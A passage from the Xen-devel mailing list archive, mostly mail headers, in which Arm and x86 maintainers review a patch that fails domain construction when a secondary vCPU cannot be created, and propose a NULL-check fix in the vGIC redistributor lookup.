From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <93dabc8b-7012-4662-b50c-d47b0b6ad260@amd.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BL6PEPF0001AB57:EE_|SJ2PR12MB9162:EE_
X-MS-Office365-Filtering-Correlation-Id: fea6e331-7284-4e18-4168-08dedce48576
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|376014|1800799024|23010399003|82310400026|56012099006|11063799006|4143699003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	2KyyQSjGlFOC+XZWNlOLAY3s9wrhxOvI1slH1NCB3fe5Sswz/C0uFyiiY3RNDZ7/Z6t0OJhpbBvzb2r4mU6kxm7Oed297WS3YdA4vZXwehRv2qKPs4LEqy/zmbICTsWBtoeHPe0TR5f2VTPK8cn0XUk07MGtKVlvPZOICE6JDoBrlgRqLPVFRW8J+y69DjvzOWThfqXyLwclwbVMXlYatvGKIen4ccseZUXyVGAznuUF2dNGdAYsmZuWOArpXqutdzT/avkxoLTCW4ZfqGxS47whdPpJuhxuh/v9nON83DmqZcQEWxJke2zCQcjmifW4VE2pfEgA/XgjW0BlZdOaLvj+xwxdsCMqaFQ5nsRrtegmcAG8H0AQEn1IPd/EwiGb915e58uvk/77I7T/4D4mwDvje0cz/aAHRz4w/oApR5iEFj6z9B1GAinYtRS7gCpE5Bh4ycIU2X5lcBEAP9QxWsMIfaXX4R0JoXsEJvzZU3UlIpyxqcMavX8MP21K8QQ5BO3bV72yVfNcW+I7gKdJxWaxmyx3oCVqYKlBjzvKjXN/LvciyjlvIKRso7QdGGnnBXr+LedIt//BNt1rQHDwEFGUkKvv2heydS7GT5bWk3UvOMIrKpHyvAX7VR7ONtyd7hwjSprJbhmDJgRbMy59jcL9TaP1/SXb5Vk0fy+QAZhACfNcoIhVyT3NLlVBTOHJjPZW1vbGiOOL8bL1FaL84Q==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(376014)(1800799024)(23010399003)(82310400026)(56012099006)(11063799006)(4143699003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	OjN8H4goY11wb+kKeJXqpvMllYVr5zLA6ZBa/ZzP/MPytrgJtGNWqMNNZF1hOCy30ZGur4SqZto06/PgcMF3kFlRVVeCISWUlUURLacM++JIlmDzWab8ukN/olLshEVhA9WbDS3a9kMqHFqskBEs/j2CiZWCZ9a0TOA0415xPr/1KwvkhQY/oi9zyVobz4muSrUHwSIiEMBxeNTI/x+tMBogdjJGJFjm21n0UvjQ2XOsR5W3CCu/dbt98A507lap6qJ4/ukDSHUcWLF7EzOMw3+F4pg+l13dkhgQlUVanX/uj00Ofs1AI33qEtrBi+bR/fTn9/VTuu3pgNUKWQZDC0HEHw9CpZGHBW3MjQVcHVkU4mRp8S5lS2E+BPTSJJdbtNNK4fj5XG1t9xG2ILm+1pprAZ0IKNhECKA9mnu1XckdZQtEkx1YfyhYqjP4UFi7
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 11:31:58.2526
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: fea6e331-7284-4e18-4168-08dedce48576
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BL6PEPF0001AB57.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ2PR12MB9162
X-purgate-ID: tlsNG-16d1c6/1783510324-C473068D-B62AAB5E/0/0
X-purgate-type: clean
X-purgate-size: 3555



On 08-Jul-26 13:27, Halder, Ayan Kumar wrote:
> 
> On 08/07/2026 12:20, Orzel, Michal wrote:
>>
>> On 08-Jul-26 11:06, Halder, Ayan Kumar wrote:
>>> Hi MIchal,
>>>
>>> Nice catch. Few questions.
>>>
>>> On 08/07/2026 08:49, Michal Orzel wrote:
>>>> construct_domain() creates the secondary vCPUs in a loop, but on a
>>>> vcpu_create() failure it only prints a message and breaks out of the
>>>> loop returning success. As a result the domain can be constructed
>>>> with fewer vCPUs than d->max_vcpus, leaving NULL holes in d->vcpu[]
>>>> below max_vcpus.
>>>>
>>>> When the guest probes the redistributor of a vCPU that was never created,
>>> Shouldn't the guest check how many vCPUs were created and probe the ones
>>> that were created ?
>> See below about DTB.
>>
>>>> get_vcpu_from_rdist() only checks vcpu_id against d->max_vcpus and then
>>>> dereferences the NULL d->vcpu[vcpu_id], resulting in a data abort.
>>>>
>>>> Return an error instead of breaking out of the loop. Both callers
>>>> (construct_domU() and construct_hwdom()) already propagate a negative
>>>> return value and fail domain construction, which is the correct
>>>> behaviour: a domain that cannot provide the requested number of vCPUs
>>>> should not be brought up.
>>> I see your reasoning.
>>>
>>> Alternatively it can be a design choice. Xen does not commit to create
>>> the max_vcpus that was requested.
>> Everything can be a design choice but this one wouldn't be wise, would it?
>> All in all, we (Arm maintainers) aim at following the contract to fail as soon
>> as possible if the user request cannot be satisfied.
> Can we remove the redundant DTB node so that the contract is maintained 
> ? IMHO , stopping a domain creation seems severe if the other vCPUs were 
> created.
No, we can't. First of all, the contract is to fail on unsatisifed user
requests. User requested e.g. 5 vCPUS, we created only 2 - we should bail out.
Please see all the dom0/dom0less code on Arm. Next, DTB generation and vCPU
creation happens *before* starting domains, so this is definitely not something
severe.

~Michal

>>
>>> If Xen is unable to create any vCPU, it should abort domain creation.
>>>
>>> If Xen creates lesser number of vCPUs than requested by max_vcpus, it
>>> can just print a warning and carry on.
>> No. Xen creates domain DTB before creating vCPUs, so Xen advertises something
>> that is not true. Here, Xen would create a DTB with e.g. 2 vCPUs while only 1
>> was created.
> 
> I agree that this is a problem.
> 
> - Ayan
> 
>>
>> ~Michal
>>
>>> In that case it should be the guest's responsibility to check the number
>>> of CPUs that it has.
>>>
>>> - Ayan
>>>
>>>> Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
>>>> Signed-off-by: Michal Orzel <michal.orzel@amd.com>
>>>> ---
>>>>    xen/arch/arm/domain_build.c | 2 +-
>>>>    1 file changed, 1 insertion(+), 1 deletion(-)
>>>>
>>>> diff --git a/xen/arch/arm/domain_build.c b/xen/arch/arm/domain_build.c
>>>> index 550617f152bb..b46574fd32aa 100644
>>>> --- a/xen/arch/arm/domain_build.c
>>>> +++ b/xen/arch/arm/domain_build.c
>>>> @@ -1847,7 +1847,7 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
>>>>            if ( vcpu_create(d, i) == NULL )
>>>>            {
>>>>                printk("Failed to allocate d%dv%d\n", d->domain_id, i);
>>>> -            break;
>>>> +            return -EINVAL;
>>>>            }
>>>>    
>>>>            if ( is_64bit_domain(d) )



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 11:40:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 11:40:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356906.1611426 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQdu-0005Ov-PU; Wed, 08 Jul 2026 11:40:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356906.1611426; Wed, 08 Jul 2026 11:40:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQdu-0005Oo-MH; Wed, 08 Jul 2026 11:40:42 +0000
Received: by outflank-mailman (input) for mailman id 1356906;
 Wed, 08 Jul 2026 11:40:42 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1whQdt-0005Oi-Ug
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:40:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whQdt-00HMwQ-BQ
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:40:41 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4e3734-5cb7-0a2a0a5109dd-0a2a4502b206-18
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:40:41 +0200
Received: from [52.101.46.30]
 (helo=CO1PR03CU002.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4e3737-5a27-0a2a45020019-34652e1e75cf-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:40:40 +0200
Received: from PH7P220CA0052.NAMP220.PROD.OUTLOOK.COM (2603:10b6:510:32b::34)
 by LV3PR12MB9213.namprd12.prod.outlook.com (2603:10b6:408:1a6::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.11; Wed, 8 Jul
 2026 11:40:35 +0000
Received: from SN1PEPF00036F3C.namprd05.prod.outlook.com
 (2603:10b6:510:32b:cafe::65) by PH7P220CA0052.outlook.office365.com
 (2603:10b6:510:32b::34) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 11:40:35 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 SN1PEPF00036F3C.mail.protection.outlook.com (10.167.248.20) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 11:40:35 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 06:40:34 -0500
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb09.amd.com
 (10.181.42.218) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 04:40:34 -0700
Received: from [10.252.145.116] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Wed, 8 Jul 2026 06:40:32 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ptmCN9zLpo+fQINeLgSnwlx926ueDzp1sm+jJYVSSK8tYt7eZ5XuuPtIP/8JH7oenYLcVELxlG3SLJJkgvZlYH/uBUqshbnZro7nKOnZ9Z0kjNwTG3VFsNzHlhfBdQDhaLGq8pjT8Xr9GoXwriJom0XMYBMwKl5I4IsMS059paBLsEfyWPgKBZ7LNnmi8PRR9NX6nDqZlQV6fXjUhwqxJbLU77dTlwZDUgaL+fW5L7QIJmYqg/IMO3i5Mg3JCiTptuFs5EuCpwVVvOckq6cXvk4y7NabeikoZJoOyJZ5X+TMl5H5sLkBu9kYflImjTB/o2L4PYCKMJCnd+6c8ySASg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=15GRzMNsqIbB/evT3tBPJrK/H7jL8Rhe9uVvGwFg798=;
 b=izntbHwSzpHiVAMWxarSIHgfLxVtYr3pVcuxX+C8+ed2CQFOazBWR80811BJ23rFm4W1PpD4m7703ScnqlkPEeZxsH6YxeXwmUijBoLUKglrr2tdFBjt9ffaGvQAqDVqrwoFksGUcTjwgiXLM6Et2D7qk1aLJ7IudYwO/oVS/98xHn4POoTsL1Kj/KadWR2g8CeKp3TIAUd2xPVcyCNyq6dohibrF51S+gJPz3Yu4945HVPxfbSsZ7MhXcJ//Ip29UYEy9n2YlEN7HTMwlsbOp+HOHDokzgR9pmDwALgcWuNFM1bZWGtRtcCqCaRmjBLY6baEISglCpK2HA9xc7yuw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=citrix.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=15GRzMNsqIbB/evT3tBPJrK/H7jL8Rhe9uVvGwFg798=;
 b=FdQm6OxOlHVNVnE9HkpfeevD3LEA0U0TkgfCV7dpImNKzKm6kcqBe6+pUWDw+iKpyChV7nUr0ZvjIz1ZPcTsTROOFPColGwY+phz+D0ezyDXlWp/lPEK/aiuvF2erfFUaj1sWdnaveWMxG85CmlsxQPlggA6NyeDfqMnzS6+wJA=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <e2cceffa-4f7d-4b4e-b69b-3cf11e0049ae@amd.com>
Date: Wed, 8 Jul 2026 13:40:27 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [for-4.22][PATCH] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
To: Andrew Cooper <andrew.cooper3@citrix.com>,
	<xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, <ayan.kumar.halder@amd.com>
References: <20260708074919.33381-1-michal.orzel@amd.com>
 <1cce5057-3f17-4144-acc7-b343718c431f@citrix.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <1cce5057-3f17-4144-acc7-b343718c431f@citrix.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SN1PEPF00036F3C:EE_|LV3PR12MB9213:EE_
X-MS-Office365-Filtering-Correlation-Id: 6b5dea16-99a8-49a0-876d-08dedce5b999
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|30052699003|23010399003|82310400026|36860700016|1800799024|376014|4143699003|56012099006|11063799006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	4pb41l5fLyRzVKm5sJj5Tw9V9KFIJSzdzoqn32fl65X+AxBtgSMY5cv6aNIgPOEamSYNA3U02HciTWrH0Fe+h0cd+iNFzk1NiTLRsg257fBr8ro4rUToOCHOxxcNmPlhvDmGHcjNTZemErWXgIJ03sWgQ03clzn89Cmzw2gl7aLFl2Ue4IGh1ET9JcN2ChjQTgTb5/3+lKinWKLqlu1SRlN8WnILyH72qlF0FDQUfdBQsE1K+OE7Xv/4unYFzZeRHLwnUnVf8wDs494uEKovlDHbsuMXZIPXBLUNByVVHoxoP9R1Ttq85coMV0iaxaOg4EyGEArS2VdV81m1A6aZmhwxMiXW2QryKVZDuLNpNzayke6o3eehDVNltyYCnmqwfyMKMP0JgRBeESfV1khPM6N9JFtbnllD0Ns623arXD7JaEyTaiIfdQ2rRnR8uM8VONvSooKtYhhU3/kGHFchYKNolsl11RmOyw03ukmhu4Fc8Rr4HElC4q1l0ITgHD3yfoTCgvhQbfHTFR8Vk3ZH2EkKZP2AlYQQ0tp8faRNVQQH84CT8u/yA8Td64eLhPuk0p8fnmxlMcL3RemP/RaJhFZ5iCB/CoxhcE/qBVYXa4xhcnnrHV7iWkPnGrOduKV0+Yi1qfVkP3HI+ru2dn1o4DmuZORwHHRwk71dJN1/eytEUlQljc+5qnnTFsrx4sYM4OCY02btEg0IeSLni4X0SA==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(30052699003)(23010399003)(82310400026)(36860700016)(1800799024)(376014)(4143699003)(56012099006)(11063799006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	5tHpjBKFS9cRwJPduJuUn/AytROLf3h+H1DMGKjVrv3RcDt3yTzY+BbYd0L8GzSRiAxS+AAWDIuTEug14sqV5Mjpsq2ZZTfH09ov/9r7eNYMgoBX/TI3F+t3Fltu4zgBb1IT1n+iRT2TTZpMTsAVBKs4eeJ8OnrR7XhtgujUsMp8Li6nasAP1nkaSHdfdZM5tkVTZrmmFI+p8fTR3kbTC1ZJRwLcHIALro4JaCmJ8drqRr8G6eSAu+oTCLrmKlM+QgishLKvJLuzip3yzObS1o1EUF3lknk28FtAIRImjx+rwfFLD93cinpYNDmGDVuZI+6tGQNEoUQhPIICYFNV977cc0MpZVyhX2UIRTArSKrP9/69vhRBGkPA+kjP5zVnL2ojW66t9VW0Gl353BL/XioDnuSxVS9rg7ENROs+droo1rMJRKUOUJd/nld83RTB
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 11:40:35.2304
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 6b5dea16-99a8-49a0-876d-08dedce5b999
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SN1PEPF00036F3C.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV3PR12MB9213
X-purgate-ID: tlsNG-720697/1783510841-554E17C5-1B0C55F8/0/0
X-purgate-type: clean
X-purgate-size: 3365



On 08-Jul-26 13:30, Andrew Cooper wrote:
> On 08/07/2026 8:49 am, Michal Orzel wrote:
>> construct_domain() creates the secondary vCPUs in a loop, but on a
>> vcpu_create() failure it only prints a message and breaks out of the
>> loop returning success. As a result the domain can be constructed
>> with fewer vCPUs than d->max_vcpus, leaving NULL holes in d->vcpu[]
>> below max_vcpus.
> 
> I'd suggest phrasing this as "partially constructed".Â  "holes" isn't
> really what's going on, given the linear nature of allocation.
> 
> Because of the object visibility, and because constructing vCPUs isn't
> atomic, all code needs to cope with d->vcpu[] having no, some or all of
> d->max_vcpus constructed.
> 
>>
>> When the guest probes the redistributor of a vCPU that was never created,
>> get_vcpu_from_rdist() only checks vcpu_id against d->max_vcpus and then
>> dereferences the NULL d->vcpu[vcpu_id], resulting in a data abort.
> 
> That's unsafe, especially as vcpu_id is calculated from an MMIO access.
> 
> diff --git a/xen/arch/arm/vgic-v3.c b/xen/arch/arm/vgic-v3.c
> index c1c4d6f71ea8..c01cc596d593 100644
> --- a/xen/arch/arm/vgic-v3.c
> +++ b/xen/arch/arm/vgic-v3.c
> @@ -1111,10 +1111,10 @@ static struct vcpu *get_vcpu_from_rdist(struct
> domain *d,
> Â  Â  Â unsigned int vcpu_id;
> Â 
> Â  Â  Â vcpu_id = region->first_cpu + ((gpa - region->base) / GICV3_GICR_SIZE);
> -Â  Â  if ( unlikely(vcpu_id >= d->max_vcpus) )
> -Â  Â  Â  Â  return NULL;
> Â 
> -Â  Â  v = d->vcpu[vcpu_id];
> +Â  Â  v = domain_vcpu(d, vcpu_id);
> +Â  Â  if ( !v )
> +Â  Â  Â  Â  return NULL;
> Â 
> Â  Â  Â *offset = gpa - v->arch.vgic.rdist_base;
> Â 
> 
> Do you want me to submit this separately?
If you have time, yes. Otherwise I can do that too tomorrow.

> 
> 
>>
>> Return an error instead of breaking out of the loop. Both callers
>> (construct_domU() and construct_hwdom()) already propagate a negative
>> return value and fail domain construction, which is the correct
>> behaviour: a domain that cannot provide the requested number of vCPUs
>> should not be brought up.
>>
>> Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
>> Signed-off-by: Michal Orzel <michal.orzel@amd.com>
>> ---
>>  xen/arch/arm/domain_build.c | 2 +-
>>  1 file changed, 1 insertion(+), 1 deletion(-)
>>
>> diff --git a/xen/arch/arm/domain_build.c b/xen/arch/arm/domain_build.c
>> index 550617f152bb..b46574fd32aa 100644
>> --- a/xen/arch/arm/domain_build.c
>> +++ b/xen/arch/arm/domain_build.c
>> @@ -1847,7 +1847,7 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
>>          if ( vcpu_create(d, i) == NULL )
>>          {
>>              printk("Failed to allocate d%dv%d\n", d->domain_id, i);
>> -            break;
>> +            return -EINVAL;
>>          }
>>  
>>          if ( is_64bit_domain(d) )
> 
> On x86, we explicitly tolerate a failure to build all of dom0's CPUs, if
> at least one did get constructed.Â  This is to increase the chances that
> the server can boot and at least let an admin in to look at things.
> 
> However, I can see why such a behaviour is not wanted in a "single
> pre-packaged system" as used by automotive.
Yes, that is a known difference in behavior between x86 and Arm. We decided to
bail out asap.

~Michal



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 11:50:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 11:50:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356916.1611435 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQnR-0007ao-Ni; Wed, 08 Jul 2026 11:50:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356916.1611435; Wed, 08 Jul 2026 11:50:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whQnR-0007ah-Km; Wed, 08 Jul 2026 11:50:33 +0000
Received: by outflank-mailman (input) for mailman id 1356916;
 Wed, 08 Jul 2026 11:50:32 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1whQnQ-0007aZ-Ib
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:50:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whQnP-00HPYL-Dj
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:50:31 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4e397f-e002-0a2a0a5209dd-0a2a4505b7b2-14
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:50:31 +0200
Received: from [209.85.208.42] (helo=mail-ed1-f42.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4e3987-3cb2-0a2a45050019-d155d02aa4e9-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:50:31 +0200
Received: by mail-ed1-f42.google.com with SMTP id
 4fb4d7f45d1cf-698e5859a3cso1316931a12.0
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 04:50:31 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 4fb4d7f45d1cf-69a19ce4a60sm7609609a12.8.2026.07.08.04.50.29
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 04:50:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783511431; x=1784116231; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=euG7uo/bVBWn4gSuVtS7As35eN2qVd7EADroimbjSfU=;
        b=DGDA+U9DjyIcfqH/oYQJ6j79ohQx9QXOOE+Mpr4cHX//5j5qSaPsS8y6ixlRCkbaA3
         D9qrAg0ct0rL0fBsT5KupddUtv/Yi37aihC58GkTbo3C6M2daWVSrI4haM+lSr3IokxJ
         K3g+COFufWpXIDbwhx8h4V6c919NL0DfK7dXk9oCIpJzWanUdpCUL7ViZp8yvtm6vccu
         IfK0HjyfarhxUaORANJ/zJHQS0ttWdfya1dYt0xms4sKQz+kovRT0O47/R4x9ADuaJJi
         4Es98x2Z5fL4GkJ+9ZyG/EBN64VWpNHVnhk3d8tS5xhCZBVLbRnvR5B+/YnokZdwASbX
         v63g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783511431; x=1784116231;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=euG7uo/bVBWn4gSuVtS7As35eN2qVd7EADroimbjSfU=;
        b=ilg0iAkdzT9HCiTbolz8v7ml4XIuRIZt1YzrX879+JmfUBeS4hnPyPwKq1rEFnVJZG
         wRghlBPdyW4CwVDYq+aLUCq3aaaxLsmBsefVt7ptDvzPs7Oepzl6XRrhhDJj5cJMlCfm
         tGVfPH4mpsSMBcGe5V6/udh6aWcao2Jrt+3q+2NirA5dxHol3vVoOaI2ykiZbqmHjeh/
         A4PS1HYuccE0yC8I4OGtpkYmKl4f4edbAyblKsV+23MG3u4DXdstrrw+XFmiPFIYvwBW
         w52eqDbg5eEzis31+/CNKPd9q7xJnkACbm6OWmhBvoXZkXui5nfa9veANKm4rH1ebFnJ
         0BzA==
